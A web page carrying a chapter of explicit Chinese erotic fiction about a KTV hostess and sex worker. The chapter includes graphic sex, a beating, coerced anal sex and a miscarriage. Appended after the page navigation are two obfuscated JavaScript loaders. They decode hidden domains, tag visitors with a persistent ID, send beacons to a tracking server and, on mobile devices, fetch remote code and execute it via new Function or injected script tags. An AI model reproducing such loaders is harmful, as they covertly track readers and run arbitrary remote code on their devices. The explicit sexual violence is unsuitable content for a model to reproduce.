反正夜礼裙和高跟鞋还在身上。我没理他就转身往外走。

他抓着我头发。

我怒火上升,回头,伸手,回给他一个大耳刮子!

又重又狠,闷闷的响声。那人痛得号叫了一声。我趁机闪身逃出包房,躲进了旁边的女洗手间。

然后听到走廊上咋咋唿唿的声音。

靠着洗手间的门,我忽然觉得肚子有点痛。

想起来包还在客人的房间里。包里有口红,储物柜钥匙……和一份化验报告。那份让我郁闷之极的化验报告。不行,我要去拿回来。

小心翼翼看了看外面。走廊安静下来,领班和妈妈桑陪着那个客人往下走去,貌似不停道歉的样子。我幸灾乐祸地笑。

然后闪身回到房间。糟糕。包不在了。一定是那个烂人拿走了。

化验单上还好没写真名字。但是储物柜钥匙怎么办呢?

好郁闷好郁闷。我下楼,去找张榕。

他不在。

再晃两圈,就看到领班面色不善地在面前出现。“ANA,你的真名是不是叫‘张娜’?”

“不是啊。我叫‘申雅纳’。”我勉强笑了笑。

“你知道有谁叫张娜吗?”

“不知道。”

“你的客人呢?”

“他叫我拿水果给他。”

我随便胡诌,然后知道事情已经闹大。张娜正是我化验单上的假名字。那个客人多半投诉到了总经理室。

怎么办?丢工作?赔钱?

赶紧熘回洗手间,仔细想。却怎么也想不清楚。我太知道我智商之有限。想了半天,决定承认错误,保住工作,大不了扣点基本工资,或者几天不许出场……

然后我知道自己太天真。

出门又看见领班。领班这次面含怒意。“ANA,你的储物柜钥匙呢?”

“……丢了。”

“丢了?”他冷笑。“刚才在314包房唱歌然后带出场的小姐我都问过一圈了,不用假装了,打了客人的那个就是你吧!”

“这个这个……领班大人,你听我解释……”

“不用解释了。你惨了。”

我翘翘嘴唇。“我愿意道歉……”

“你知道那个客人是谁?他拿的是供应商的招待券。”

“供应商?什么玩意?”

“那个客人参股的贸易公司是整个金碧辉煌所有洋酒的供应商。对了,他还是公安局程局长的小舅子。现在他说他被你打得视力模煳,要求验伤。”现在轮到他幸灾乐祸。

我张着嘴巴呆在那里。

这件事情的结果是,我自愿跟那个烂人发生了肛交的性关系,还没有收钱。

在那之前,被他狠扇了几十个耳光。像个猪头一样继续笑,眼泪汪汪。而肛交的前戏是腰上腿上屁股上全是踢打的伤痕。像个性奴一样忍着不哭不叫,真是辛苦。

肛交不太痛,以前被金钱诱惑做过两次,没什么特别的感觉。借着安全套上的润滑就可以。何况这烂人的那玩意实在是又细又短又不持久,感觉上跟手指头也没什么区别。至于我说我从来不卖屁股云云,纯粹是孕期反应,肝火过旺,脾气烦躁所致。

善良如我也有胡说八道找茬的时刻,可见世上无不说谎的人。

为了让他爽,我装出一副站不起来的样子,可怜兮兮地缩在床上。

缩着缩着我便真的缩了起来。

好痛。

有什么东西从身体里面坠了下来的感觉。

血……我看见了血。

那个烂人吓了一跳。

他可能跟我同时想起来那张化验单。“你……你不会是……流产?”

我大声呻吟。

好,很好。省了打胎费用……也算实惠……可是越来越痛到无法抑止。血把整个床单染红。

“要不,我送你去医院?”烂人小心翼翼地问我。他心里一定很不想去医院。如果医生问我的脸和我的屁股,不知道他要怎么答?

我也不想去医院。公司的医疗保险还没有办下来。

这个时候张榕冲了进来,抱我去了医院。

后来医生说再晚来点我可能会因为大出血而死掉。我因为这件事情而感激张榕,反而把他没有戴套射在我体内造成我怀孕他才是罪魁祸首这件事情忘在了脑后。

同时也忘记问他为什么忽然那么勇敢那么耳朵尖知道我在哪里受苦把我拉拔出来。

在刮宫的时候,我选择了局麻。但是麻药没有很显示出效力来,我还是有很重的痛觉。那金属的器械台被空调的风吹得触感奇怪。上面薄薄一层暖,下面都是冰冷严寒。

我死死抓着张榕。“帮我去问问看能不能报销……就说是接客的时候怀上的啊。”

然后张榕被赶出去,器械就开始强奸我。

我闭着眼睛享受。恍如被张续强奸时候的奇妙感觉。悲哀而勇敢,假想自己是一个奉献身体的圣女。张续……我忽然难以忍受地想张续。

这奇妙的思念,在我自以为坚强却软弱的一刻彻底爆发。我在手术台上哭得撕心裂肺,吓坏了医生。

医生看见了我的猪头,看见了我手腕上没消退的毛毛虫疤,看见了我被打伤的屁股,看见了我被插入过的肛门。然后看见我痛苦崩溃。

我不知道要是我是医生的话,我会怎么想。

我只是听到医生开始在骂,叫我收声,尔后在讨论,小声猜测我的隐私。最后他们竟情急地安慰。“乖,不哭了好不好?好乖……”

我眼前一黑,晕厥过去。

醒来的时候,属于我的第一个小孩已经彻底报销。我手心里抓着医生温柔哄我的一句话,逼迫自己笑出来。

之后没什么特别的痛苦。只是如程度重的痛经,来那个来了一个多礼拜,天天血流成河,然后一直腰酸,没有力气,走不动路。

张榕很负责任地照顾我。

他最后搬来我这里。叫外卖汤给我喝,帮我洗衣服。沾染了血迹的内裤也洗。

最好的,是讲笑话给我听。

“ANA,你的屁股真好,要是我跟你一样轻松的话,肯定能多赚很多钱。可是我老是长痔疮。ANA,你怎么保养屁眼的?”

“真难听……请叫那个地方——肛门。”

“那怎么保养的?”

“涂瑞士护肤品。”

想到瑞士护肤品就想到吴恩宝。她来看过我一次,我在睡觉。她跟张榕打了个招唿,就急急忙忙走掉了。她要出差去泰国,当然,是笔好生意。

“我跟你的邻居讲下次带她去猫街喝咖啡。”张榕永远笑着。

“对了,你住在这里,那么你的猫呢?”

“放心,有好多人争着照顾的。我管好你这里两只就好。”公主又跳上来,张榕把公主抱到我怀里,让我暖手。

影子总是连影子也不见,不知道躲在哪个角落。

我在家休息了一个月,才再出去上班。

金碧辉煌看在我流产的份上,发了我一个月的病假工资,而之前的那件事就没跟我追究。我已经这样了,估计也没人那么狠心再来个通报批评或者记过什么的。模范员工本来也轮不到我。因为病假工资只是聊胜于无,于是我抓紧重新开始赚钱。

张榕没有要搬出去的意思。我也没有。

我开始和另一个人同居,一个谈不上爱不爱,不过相处得很自然的朋友性伴兼同事同居。不是和张续。

爱太奢侈了。

我发现我可以尝试挑战。不为了张续而活着。不过那些有感情铭刻入心的生活。不做那些矫情至死的事。

接客。

我专心地接客。

大概一个月会有一次,我和张榕做爱。

我们平时做爱做得很辛苦,遇到休息日大部分选择休息,偶尔来练练手,放松一下,等于互相享受服务了。我们做爱的时候很像拍AV,互相的口交,然后频繁更换姿势的抽插,全套水准,滴水不漏。张榕的那个SIZE不错,样子也秀挺,难怪可以出来做事。张榕弹赞我的下体有欧美之风,我笑着摆手——张续的才是极品。那个紧致,那个喇叭形状,才叫男人销魂哩。有时候我把这些张续的事情对张榕说,他不怎么在意听,也不问。对于张续这个女人的存在,他选择了无视,不管是女人也好,是男人也好。每天总是开开心心,聊天吃饭,一起睡觉。

逐渐我把张续的衣服收起来。专门买了个箱子。然后把张榕的分门别类摆进衣柜。他的行头有些颇为妖艳华丽,吸引男人用——吸引男人也好,吸引女人也好,我也选择无视,每天开开心心,吃饭聊天,一起睡觉。

再然后,我开始记住张榕爱吃什么。他的鞋码。他小时候喜欢哪个女明星。

不知不觉,离开张续失踪,已经八个月了。

第八个月,公主死了。

那天,我从金碧辉煌回来已经是红日高照。很累,自从流产之后我身体差了很多,动不动就腰酸背痛。我有时候跟张榕抱怨:“要死了,三十岁不到就更年期了。”他好心安慰我,“不会不会,我阳痿的那天你也不会更年期。”但是我依然疑神疑鬼,自怨自艾。

想了片刻我没有选择上楼,而是转身走进了马路对面的洗发中心。那是个正经地方,小男生穿着黑围裙给女客人们烫头发。我坐下来,叫了一个洗头。

头发不怎么脏,但是身体酸痛,想享受一下平价按摩。张榕也会,不过他忙,而且贵,懒得烦他。

小男生高高兴兴过来,爪子温柔有力挠我的头皮,一面推销打折的冷烫精。我微笑敷衍他下次一定来烫头发,然后闭上眼睛,半睡了过去。

骨骼很舒服。身体很重。我陷入到短暂的梦魇里。张续的圈圈头发落在地上,一个一个圆。我拿着剪刀帮她修剪。她眼睛凹陷,鼻子突出,下巴微微前翘,美艳无双。她声音低沉性感,从我耳后骂我小贱人,然后一下一下按我的阴蒂。

“小姐,头还痒吗?冲水好吗?”小男孩温柔地叫醒我。

我感觉到自己的阴蒂在一下一下跳。幸好女人的生理反应无明显视觉征兆,不然好尴尬。“嗯。”站起来,鞋跟没踩稳,心神涣散杂乱之下,竟然跌了下去。

小男孩满手泡沫,目瞪口呆地看着我。

我可能是他见过第一个在洗发时候跌倒,然后打翻连锁三张椅子的狼狈客人。我脚跌得痛极,笑也笑不出来。这个时候旁边的领班和收银小姐才想到来扶我,洗头的小男孩手足无措。而原本堆在头顶的一头泡沫和头发也到处散下来,差点迷了我的眼睛。

这个时候手机响了。

“公主在阳台上玩,跌了下去……”张榕跟我讲。

我带着一头泡沫从洗发店里跑出去。

张榕就在不远处。他蹲在那里,面前一只猫的尸体。

三两行人驻足观看。我迅速把眼神转开,然后跑回到洗发店。

“小姐,你的脚没事吧?”

没事。乌青块已经出现,骨折无望。

“冲水吧。”我闭目,任人宰割地躺下来。水声哗哗。

手机又响。我手上还是黏黏滑滑的,去拿,拿不稳,掉在了地上。再拿起来,已经摔坏。

我很自私地把一堆后事全部推给了张榕。

我忽然开始害怕猫。

是我说喜欢猫的吗?我已经忘记了。我没有这么有能力,去照顾,去爱。养猫是必定要送终的,就好像跟张续在一起必定要分开?在这命中命中,再去爱惜你又有何用?难道未必落空?什么我都有预感。这是我唱熟的一首歌。

曾多么想多么想贴近。林夕必定爱黄耀明。

张榕帮我去买了一个新的手机。然后我们一起安葬了公主。我养了五个月的猫。活泼可爱的猫,就此,死了。

“其实名字一开始取错了,主主是男孩子。”张榕用手托着下巴。

“男孩子?”我惊异。猫咪拿回家也是张榕照顾,我负责抱负责玩负责暖手负责有空没空喂喂而已。我一直以为公主是漂亮的母猫。“可是,影子一直舔它后面。”

“它们是同性恋。”张榕微微开朗了一些些。“猫经常这样。”

它们的确是同性恋。公主死后的第三天,影子不见了。再怎么找也找不到。我不知道它是不是选择了同一个地方跳了楼,还是干脆回去猫街找同伴叙旧。我没有能力养猫。我没有给它们多少爱,它们只好爱彼此。我的爱呢?我的可以不管不顾烧开水烧干海的爱呢?

全给张续带走了。只是世界那么大,我想知道带到了哪里。张续在哪里呢?

吴恩宝用一百块买走了我的猫屋和猫玩具。她忽然对猫感了兴趣。她说可能过几天去市场买一只波斯猫来养,这次陪去泰国那个客人愿意给钱。

我问她,可有希望嫁人,从良?

她说她正在努力。我捏她瘦瘦胸脯,大骂她贱人。她唯一比我强的地方就是英文好而已。我也好想英文好啊……英文好可以多赚很多钱。

张榕会点英文。但是张榕宁愿不会。有一天他回来以后趴在床上滚来滚去的,然后跟我描述黑人恐怖的大鸡巴。我扒他的裤子看,明明没什么事情,只是后门张成了接近一块钱硬币那么大的黑洞而已,一点损伤也无。

“可是以前只有一角硬币那么大的!”张榕委屈抗议。“我觉得总有一天我走着走着,大便就会漏出来。”

“不会的,你要多做提肛运动。”

“为什么我没有阴道呢……”他大叹。

“我还在想我为什么没有小鸡鸡呢。想了很多年。小时候这个问题困扰我好久。”

“你有阳具崇拜。”

“……”

我有阳具崇拜吧。

我在KTV唱歌的时候,经常伸出舌头微舔上唇。未经人事的少女永远无法理解这个动作具有的诱惑力和杀伤力。她们也不理解为什么女人会有舔的欲望,这么大的棒棒糖,难道很甜么?

其实只是一种习惯。一种心理暗示。归根结底在讨好人。不讨好人怎样才能过得上好日子呢?我唱得粤语标准之极。多虚妄,仍放肆追赶。你是传说那种绝世的风光。唱了一半,阳具在面前,我放开话筒,握住它,假装它是话筒,唱得很陶醉,博来稀稀落落的笑声。然后有人按我的头。我下意识地吞。一边吞,一边撸,客人喉头闷闷呻吟。

客人射完,大字型摊在沙发上。今天我陪的这个似乎是同来的三四个人里面的主客。风韵不错,应该是那种平时也不缺女人投怀送抱的人。

“你唱歌唱得不错啊。”

“啊?”我迟钝地转头,“您说我吗?”

“再唱首国语的来听听。”

“国语的我唱不好。”我红着脸低下了头。

“唱一首吧。”

我唱了一首很普通的新不了情。K房必备单曲,琅琅上口,谁唱也不难听。客人露出失望的神色。靠,他还真是来听歌?的确,我唱这首不太好听,平淡得很。

我陪笑。“还是唱粤语吧。飞女正传怎么样?”

“你是广东人?老唱粤语。”

“不是啊,只是觉得粤语歌好听。”

沉默了一会,客人忽然拨弄我的脸,然后叫旁边的人开亮点点灯。

“长得满清秀的。”他说。“多大?”

“34B。”

“问你年纪!”旁边的人狂笑着骂。

“24。”

其实是26。少报两岁,图个美满青春。

“嗯……有希望。虚报两岁,填个22岁,你们看没问题吧?”他抓着我的下巴,把我展示给四周。这个动作让我有点不舒服。

旁边的人说,“也要她先把国语歌唱好才行。”

我开始的时候不知道他们是什么意思,后来也不知道。但是后来的后来知道了。客人又一次来找我。这时候我正在继续接待那次弄得我流产的烂人。他现在小心翼翼地迷恋上了我,常常找我唱歌,摸摸捏捏,也不提上床,点酒大方无比,给我带来丰厚回扣。

“咦?……我出去一下下。”我跟烂人说。

烂人小心翼翼看我眼色。“你朋友啊?”

“普通客人。说有很重要的事情,大概是拉了什么东西在我这里?我去看一下,马上回来。”

他依依不舍地抓着我的手,摇了三摇才放开。

“ANA。”上次那个客人今天一点猥琐气息也无,倒有几分艺术家的清雅。“我是华氏公司秋陵。你有没有意向当明星?”

我眨眨眼睛。“不好意思,我不想拍小电影。”

“不是小电影。”秋陵笑出来。“是歌星。我们有一个平民选秀活动,想找一些各种类型的选手参加。我觉得你身上有沧桑和清纯并存的味道,歌也唱得不错,愿不愿意参加看看?”

我?歌星?

“好啊。”

不知道为什么,我答应了。“能保证我到第几名?能上电视么?”

要是能上电视的话,说不定我以后可以混个小明星身份……收入大涨……没有人会拒绝钱。

“不过你现在这段经历要改一改。”秋陵说。

“你怎么说,我怎么做。”我不怯场的。穿着衣服唱歌而已,裸体跳舞也勉强做过,还怕人看什么。

回家告诉张榕。

张榕想了半天。“万一你一举成名了怎么办?那就不能接客了,会被报纸写的。”

“一举成名了有一举成名的接客方式。再说了,说不定一举成名了就不用再接客了。我终于找到我能做的,除了接客以外的别的职业了。”

“来来来,准备唱什么歌,唱给我听听?”

我轻轻笑,不好意思地跑开,去电脑前面,下载了一些新歌听。

我是一个要去参加歌唱比赛的K姐。我的那些客人不知道会怎么想。好歹现在我也有三五八位常客了。

常客烂人在我要去排队参加选拔的前一天来光顾。他吞吞吐吐,好像有什么话要对我说。

“嗯……说嘛。要说什么?明天我请假,不来了哦。”我拿他点的洋酒鼓励他。

“ANA。”他猛然大力抓住我的手,亲我的嘴。

“呜……去上面开房间吧……”

“不……不是……”他放开我,端正坐好,脸色通红。

“到底怎么了?”我真的疑惑了。他又有什么变态要求?

他的要求足够变态。“ANA,我……我老婆去年死了。”

“我知道。”

“ANA,嫁给我吧。”

我满头冷汗地拒绝了。

算命的说,我这辈子最好的命格,是妾命。而妾命中最好的一种,是续弦。

我挑了最坏的一种,花落花开总无主的命。妓命。怎么样?好的没有,我可以无限坏。我信命,我总是信。就好像张续总是不信。总是要挑战命。我柔顺雌伏。我们真是天生一对。

可是张续一定不是这样想的。不然她就不会消失……我很久以前已经想通了她不可能出什么灾祸意外。警察说得才是真理。她只是离开了,不回来了。她离开的人只有我一个而已。她和世界,必定在别的部位打得火热。

我们这些无父母无子女无夫妻无朋友的人。

“为什么?我是真心的。”烂人捧出一把粉红的玫瑰。

“可是……”我不停傻笑冷笑,瞬息千变。“我身上不干净。我有妇科病。”

他有点失望地看着我。“我不需要你为我生孩子。”

“可是,我是只鸡啊。”我无奈。“上次的事情,真的没关系的,你不用老放在心上。……要不,今天我再用后面的洞为您服务一次?求您别闹了好吗?”

我是只鸡啊。

我爱的是张续啊。

我跟鸭子同居啊。

我我我……

我身边的人除了卖的,就是买的。批发的,恕我做不起这个生意。售后保证,银货交讫,我一窍不通。

“张榕,有人要我当明星。有人要娶我。是不是转运的时候到了?我的人生会不会发生改变?”

张榕摸摸我额头。“你想不想变呢?”

“不想。我想做到做不动了,去当妈妈桑。”

“还是乖乖去唱几场歌唱比赛吧。我会帮你录像的!”

专门买了一个很多年前就没人用的录像机。张榕像个女儿要登台的紧张妈妈。

“到时候把录像带拿到金碧辉煌去……ANA,你会红的。”

他说的意思是在金碧辉煌红。毫无歧义。

然后几个月后,歧义无端端产生了。

后来我很后悔当时答应了歌唱比赛而拒绝了婚姻。

我应该接受求婚的。


上一篇:良家人妻的陷落迷局(第三部)(5)

下一篇:亲爱的,再见!(01-03)


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};